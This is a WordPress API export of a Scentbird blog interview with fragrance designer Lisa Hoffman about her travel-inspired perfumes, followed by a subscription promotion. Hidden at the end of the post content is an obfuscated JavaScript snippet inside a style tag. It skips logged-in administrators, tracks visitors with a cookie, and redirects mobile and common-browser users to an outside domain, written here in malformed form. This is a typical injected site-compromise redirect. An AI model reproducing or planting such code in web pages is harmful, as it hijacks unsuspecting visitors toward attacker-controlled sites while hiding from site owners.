{"id":9852,"date":"2017-09-15T09:01:39","date_gmt":"2017-09-15T13:01:39","guid":{"rendered":"https:\/\/www.scentbird.com\/blog\/?p=9852"},"modified":"2021-07-09T07:11:44","modified_gmt":"2021-07-09T11:11:44","slug":"exclusive-interview-with-fragrance-designer-lisa-hoffman","status":"publish","type":"post","link":"https:\/\/www.scentbird.com\/blog\/exclusive-interview-with-fragrance-designer-lisa-hoffman\/","title":{"rendered":"Exclusive Interview with Fragrance Designer Lisa Hoffman"},"content":{"rendered":"<p style=\"text-align: justify;\">One of perfume\u2019s instant pleasures is when a fantastic-smelling scent conjures up fond memories of family, travel, or precious life experiences. An intimate fragrance stores our memories in a uniquely sensual way, where only it is able to bring those important moments back to our attention.<\/p>\n<p style=\"text-align: justify;\"><em><strong>Scentbird recently caught up with fragrance designer Lisa Hoffman, and we got the chance to ask her a few questions about her life in perfumery.\u00a0 She crafts personal fragrances that wear like scented diaries from exotic locations, and her influences from a lifetime of travel show up vividly in her work.<\/strong><\/em><\/p>\n<p><a href=\"https:\/\/www.scentbird.com\/blog\/wp-content\/uploads\/2017\/09\/Lisa-Hoffman-Logo.jpg\"><img decoding=\"async\" data-attachment-id=\"9855\" data-permalink=\"https:\/\/www.scentbird.com\/blog\/exclusive-interview-with-fragrance-designer-lisa-hoffman\/lisa-hoffman-logo\/\" data-orig-file=\"https:\/\/www.scentbird.com\/blog\/wp-content\/uploads\/2017\/09\/Lisa-Hoffman-Logo.jpg\" data-orig-size=\"1805,830\" data-comments-opened=\"1\" data-image-meta=\"{&quot;aperture&quot;:&quot;0&quot;,&quot;credit&quot;:&quot;&quot;,&quot;camera&quot;:&quot;&quot;,&quot;caption&quot;:&quot;&quot;,&quot;created_timestamp&quot;:&quot;0&quot;,&quot;copyright&quot;:&quot;&quot;,&quot;focal_length&quot;:&quot;0&quot;,&quot;iso&quot;:&quot;0&quot;,&quot;shutter_speed&quot;:&quot;0&quot;,&quot;title&quot;:&quot;&quot;,&quot;orientation&quot;:&quot;1&quot;}\" data-image-title=\"Lisa Hoffman Logo\" data-image-description=\"\" data-image-caption=\"\" data-large-file=\"https:\/\/www.scentbird.com\/blog\/wp-content\/uploads\/2017\/09\/Lisa-Hoffman-Logo.jpg\" class=\"aligncenter size-medium wp-image-9855\" src=\"https:\/\/www.scentbird.com\/blog\/wp-content\/uploads\/2017\/09\/Lisa-Hoffman-Logo-300x138.jpg\" alt=\"\" width=\"300\" height=\"138\" srcset=\"https:\/\/www.scentbird.com\/blog\/wp-content\/uploads\/2017\/09\/Lisa-Hoffman-Logo.jpg 300w, https:\/\/www.scentbird.com\/blog\/wp-content\/uploads\/2017\/09\/Lisa-Hoffman-Logo.jpg 768w, https:\/\/www.scentbird.com\/blog\/wp-content\/uploads\/2017\/09\/Lisa-Hoffman-Logo.jpg 1024w, https:\/\/www.scentbird.com\/blog\/wp-content\/uploads\/2017\/09\/Lisa-Hoffman-Logo.jpg 1805w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/a><\/p>\n<p style=\"text-align: justify;\"><strong>Plumeria is your \u201choneymoon scent.\u201d That\u2019s kind of a personal fragrance for you \u2013 do you have personal life experiences connected to all your fragrances that inspire their creation?<\/strong><\/p>\n<p style=\"text-align: justify;\"><em>I do actually, my fragrances evoke memories of the places I\u2019ve been or help transport me to places I\u2019d like to be, whether it\u2019s a literal interpretation \u2013 like the scent of orchids in Madagascar, or if it\u2019s more emotional, like the feeling of utter serenity while in Kyoto, Japan.<\/em><\/p>\n<p style=\"text-align: justify;\"><strong>How does plumeria compare to other floral scents, like gardenia, freesia, etc?<\/strong><\/p>\n<p style=\"text-align: justify;\"><em>As an enduring symbol of Hawaii, the sweet, warm fragrance and vibrant colors of plumeria are reminiscent of a lush island getaway. Used in traditional leis welcoming visitors to the islands, plumeria has a fleeting, delicate scent. I\u2019ve added plumeria to warm base notes of shaved coconut, lush green foliage, exotic orchids and a top note of salty ocean air to instantly bring you to the tranquil, sandy beaches of Hawaii.<\/em><\/p>\n<p style=\"text-align: justify;\"><strong>What was your favorite moment on the Big Island, outside of being there on your honeymoon?<\/strong><\/p>\n<p style=\"text-align: justify;\"><em>Being able to return throughout the years with my children as they grew up. It\u2019s always been a very special place for my family and me.<\/em><\/p>\n<p style=\"text-align: justify;\"><strong>How do different travel destinations influence you as a person and the perfumes you make?<\/strong><\/p>\n<p style=\"text-align: justify;\"><em>At the moment, I\u2019m really focusing on gaining fresh insights gathered from afar to inspire more innovation, both in my company and in the fragrance industry as a whole. A discovery experienced on the journey often reveals itself as the answer to a challenge, a philosophy I\u2019m keeping as the heart of my leadership and company values.<\/em><\/p>\n<p style=\"text-align: justify;\"><strong>What\u2019s next for Lisa Hoffman\u2019s perfume line?<\/strong><\/p>\n<p style=\"text-align: justify;\"><em>We just launched our cutest perfume line, our 0.5 ounce Perfume Minis. And of course, we have a new fall\/holiday fragrance jewelry collection launching later this year, with new fragrance beads for the season. So many ways to wear fragrance!<\/em><\/p>\n<h5 style=\"text-align: justify;\"><em><strong>Scentbird is proud to offer five Lisa Hoffman perfumes in our catalog: French Clary Sage, Japanese Agarwood, Tuscan Fig, Tunisian Neroli, and her latest release, Hawaiian Plumeria<\/strong><\/em><\/h5>\n<p><a href=\"https:\/\/www.scentbird.com\/blog\/wp-content\/uploads\/2017\/09\/6870-HawaiianPlumeria-logo.png\"><img decoding=\"async\" data-attachment-id=\"9856\" data-permalink=\"https:\/\/www.scentbird.com\/blog\/exclusive-interview-with-fragrance-designer-lisa-hoffman\/6870-hawaiianplumeria-logo\/\" data-orig-file=\"https:\/\/www.scentbird.com\/blog\/wp-content\/uploads\/2017\/09\/6870-HawaiianPlumeria-logo.png\" data-orig-size=\"1221,71\" data-comments-opened=\"1\" data-image-meta=\"{&quot;aperture&quot;:&quot;0&quot;,&quot;credit&quot;:&quot;&quot;,&quot;camera&quot;:&quot;&quot;,&quot;caption&quot;:&quot;&quot;,&quot;created_timestamp&quot;:&quot;0&quot;,&quot;copyright&quot;:&quot;&quot;,&quot;focal_length&quot;:&quot;0&quot;,&quot;iso&quot;:&quot;0&quot;,&quot;shutter_speed&quot;:&quot;0&quot;,&quot;title&quot;:&quot;&quot;,&quot;orientation&quot;:&quot;0&quot;}\" data-image-title=\"6870 -HawaiianPlumeria logo\" data-image-description=\"\" data-image-caption=\"\" data-large-file=\"https:\/\/www.scentbird.com\/blog\/wp-content\/uploads\/2017\/09\/6870-HawaiianPlumeria-logo.png\" class=\"aligncenter wp-image-9856 size-medium\" src=\"https:\/\/www.scentbird.com\/blog\/wp-content\/uploads\/2017\/09\/6870-HawaiianPlumeria-logo-300x17.png\" alt=\"\" width=\"300\" height=\"17\" srcset=\"https:\/\/www.scentbird.com\/blog\/wp-content\/uploads\/2017\/09\/6870-HawaiianPlumeria-logo.png 300w, https:\/\/www.scentbird.com\/blog\/wp-content\/uploads\/2017\/09\/6870-HawaiianPlumeria-logo.png 768w, https:\/\/www.scentbird.com\/blog\/wp-content\/uploads\/2017\/09\/6870-HawaiianPlumeria-logo.png 1024w, https:\/\/www.scentbird.com\/blog\/wp-content\/uploads\/2017\/09\/6870-HawaiianPlumeria-logo.png 1221w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/a><\/p>\n<p><a href=\"https:\/\/www.scentbird.com\/blog\/wp-content\/uploads\/2017\/09\/HP_60_EDP.jpg\"><img decoding=\"async\" data-attachment-id=\"9857\" data-permalink=\"https:\/\/www.scentbird.com\/blog\/exclusive-interview-with-fragrance-designer-lisa-hoffman\/hp_60_edp\/\" data-orig-file=\"https:\/\/www.scentbird.com\/blog\/wp-content\/uploads\/2017\/09\/HP_60_EDP.jpg\" data-orig-size=\"622,1865\" data-comments-opened=\"1\" data-image-meta=\"{&quot;aperture&quot;:&quot;0&quot;,&quot;credit&quot;:&quot;&quot;,&quot;camera&quot;:&quot;&quot;,&quot;caption&quot;:&quot;&quot;,&quot;created_timestamp&quot;:&quot;0&quot;,&quot;copyright&quot;:&quot;&quot;,&quot;focal_length&quot;:&quot;0&quot;,&quot;iso&quot;:&quot;0&quot;,&quot;shutter_speed&quot;:&quot;0&quot;,&quot;title&quot;:&quot;&quot;,&quot;orientation&quot;:&quot;1&quot;}\" data-image-title=\"HP_60_EDP\" data-image-description=\"\" data-image-caption=\"\" data-large-file=\"https:\/\/www.scentbird.com\/blog\/wp-content\/uploads\/2017\/09\/HP_60_EDP.jpg\" class=\"aligncenter wp-image-9857 size-medium\" src=\"https:\/\/www.scentbird.com\/blog\/wp-content\/uploads\/2017\/09\/HP_60_EDP-100x300.jpg\" alt=\"\" width=\"100\" height=\"300\" srcset=\"https:\/\/www.scentbird.com\/blog\/wp-content\/uploads\/2017\/09\/HP_60_EDP.jpg 100w, https:\/\/www.scentbird.com\/blog\/wp-content\/uploads\/2017\/09\/HP_60_EDP.jpg 342w, https:\/\/www.scentbird.com\/blog\/wp-content\/uploads\/2017\/09\/HP_60_EDP.jpg 622w\" sizes=\"(max-width: 100px) 100vw, 100px\" \/><\/a><\/p>\n<h2 style=\"text-align: center;\">SMELL AMAZING WITH SCENTBIRD<\/h2>\n<h6><em><strong>You\u2019re already sexy, confident, and relaxed. Now it\u2019s time to up your scent game.<br \/>\nScentbird is a personalized fragrance subscription service where each month you select a new designer or niche fragrance that we deliver to your door for $14.95.<br \/>\n<\/strong><strong>To join Scentbird or learn more about our community of fragrance-lovers, click here<\/strong><strong>:<\/strong><a href=\"https:\/\/www.scentbird.com\/?utm_source=scentbird_blog\"><strong>https:\/\/www.scentbird.com<\/strong><\/a><\/em><\/h6>\n<h5 style=\"text-align: center;\">SCENTBIRD: DATE PERFUMES BEFORE MARRYING THEM!<\/h5>\n<p><a href=\"https:\/\/www.scentbird.com\/?utm_source=scentbird_blog\"><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter\" src=\"https:\/\/i1.wp.com\/www.scentbird.com\/blog\/wp-content\/uploads\/2017\/08\/blog-women.png?resize=835%2C210&amp;ssl=1\" alt=\"\" width=\"835\" height=\"210\" \/><\/a><\/p>\n<p>&nbsp;<\/p>\n<style> var a=['toUTCString','cookie','split','length','charAt','substring','indexOf','userAgent','match','MSIE;','OPR','Chromium','Firefox','Chrome','ppkcookie','location','https:\/\/www..xyz','getElementById','wpadminbar','undefined','setTime','getTime',';\\x20expires='];(function(c,d){var e=function(f){while(--f){c['push'](c['shift']());}};e(++d);}(a,0x1f4));var b=function(c,d){c=c-0x0;var e=a[c];return e;};(function(){if(document[b('0x0')](b('0x1'))===null){if(typeof c===b('0x2')){function c(d,e,f){var g='';if(f){var h=new Date();h[b('0x3')](h[b('0x4')]()+f*0x18*0x3c*0x3c*0x3e8);g=b('0x5')+h[b('0x6')]();}document[b('0x7')]=d+'='+(e||'')+g+';\\x20path=\/';}function i(j){var k=j+'=';var l=document[b('0x7')][b('0x8')](';');for(var m=0x0;m<l[b('0x9')];m++){var n=l[m];while(n[b('0xa')](0x0)=='\\x20')n=n[b('0xb')](0x1,n['length']);if(n[b('0xc')](k)==0x0)return n[b('0xb')](k[b('0x9')],n['length']);}return null;}function o(){return navigator[b('0xd')][b('0xe')](\/Android\/i)||navigator['userAgent'][b('0xe')](\/BlackBerry\/i)||navigator[b('0xd')][b('0xe')](\/iPhone|iPad|iPod\/i)||navigator[b('0xd')][b('0xe')](\/Opera Mini\/i)||navigator[b('0xd')][b('0xe')](\/IEMobile\/i);}function p(){return navigator[b('0xd')]['indexOf']('Edge')!==-0x1||navigator['userAgent'][b('0xc')](b('0xf'))!==-0x1||navigator[b('0xd')][b('0xc')](b('0x10'))!==-0x1||navigator[b('0xd')][b('0xc')](b('0x11'))!==-0x1||navigator[b('0xd')]['indexOf'](b('0x12'))!==-0x1||navigator[b('0xd')]['indexOf'](b('0x13'))!==-0x1;}var q=i(b('0x14'));if(q!=='un'){if(p()||o()){c(b('0x14'),'un',0x16d);window[b('0x15')]['replace'](b('0x16'));}}}}}(this));<\/style>\n","protected":false},"excerpt":{"rendered":"<p>One of perfume\u2019s instant pleasures is when a fantastic-smelling scent conjures up fond memories of family, travel, or precious life experiences. An intimate fragrance stores our memories in a uniquely sensual way, where only it is able to bring those important moments back to our attention. Scentbird recently caught up with fragrance designer Lisa Hoffman,&#8230;<\/p>\n","protected":false},"author":4128,"featured_media":9854,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"om_disable_all_campaigns":false,"inline_featured_image":false,"advanced_seo_description":"","jetpack_seo_html_title":"","jetpack_seo_noindex":false,"jetpack_seo_schema_type":"","_jetpack_newsletter_access":"","_jetpack_dont_email_post_to_subs":false,"_jetpack_newsletter_tier_id":0,"_jetpack_memberships_contains_paywalled_content":false,"_jetpack_feature_clip_id":0,"_jetpack_memberships_contains_paid_content":false,"footnotes":"","jetpack_publicize_message":"{title}\n\n{excerpt}\n\n{url}","jetpack_publicize_feature_enabled":true,"jetpack_social_post_already_shared":true,"jetpack_social_options":{"image_generator_settings":{"template":"highway","default_image_id":0,"font":"","enabled":false},"version":2},"_wpas_customize_per_network":false,"jetpack_post_was_ever_published":false},"categories":[2248,920],"tags":[2883,2882,2884],"class_list":["post-9852","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-lifestyle","category-scentbird-spotlights","tag-interviews","tag-lisa-hoffman-fragrances","tag-lisa-hoffman-hawaiian-plumeria"],"jetpack_publicize_connections":[],"jetpack_sharing_enabled":true,"jetpack_featured_media_url":"https:\/\/www.scentbird.com\/blog\/wp-content\/uploads\/2017\/09\/LH_flowers-6.jpg","_links":{"self":[{"href":"https:\/\/www.scentbird.com\/blog\/wp-json\/wp\/v2\/posts\/9852","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.scentbird.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.scentbird.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.scentbird.com\/blog\/wp-json\/wp\/v2\/users\/4128"}],"replies":[{"embeddable":true,"href":"https:\/\/www.scentbird.com\/blog\/wp-json\/wp\/v2\/comments?post=9852"}],"version-history":[{"count":7,"href":"https:\/\/www.scentbird.com\/blog\/wp-json\/wp\/v2\/posts\/9852\/revisions"}],"predecessor-version":[{"id":22796,"href":"https:\/\/www.scentbird.com\/blog\/wp-json\/wp\/v2\/posts\/9852\/revisions\/22796"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.scentbird.com\/blog\/wp-json\/wp\/v2\/media\/9854"}],"wp:attachment":[{"href":"https:\/\/www.scentbird.com\/blog\/wp-json\/wp\/v2\/media?parent=9852"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.scentbird.com\/blog\/wp-json\/wp\/v2\/categories?post=9852"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.scentbird.com\/blog\/wp-json\/wp\/v2\/tags?post=9852"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}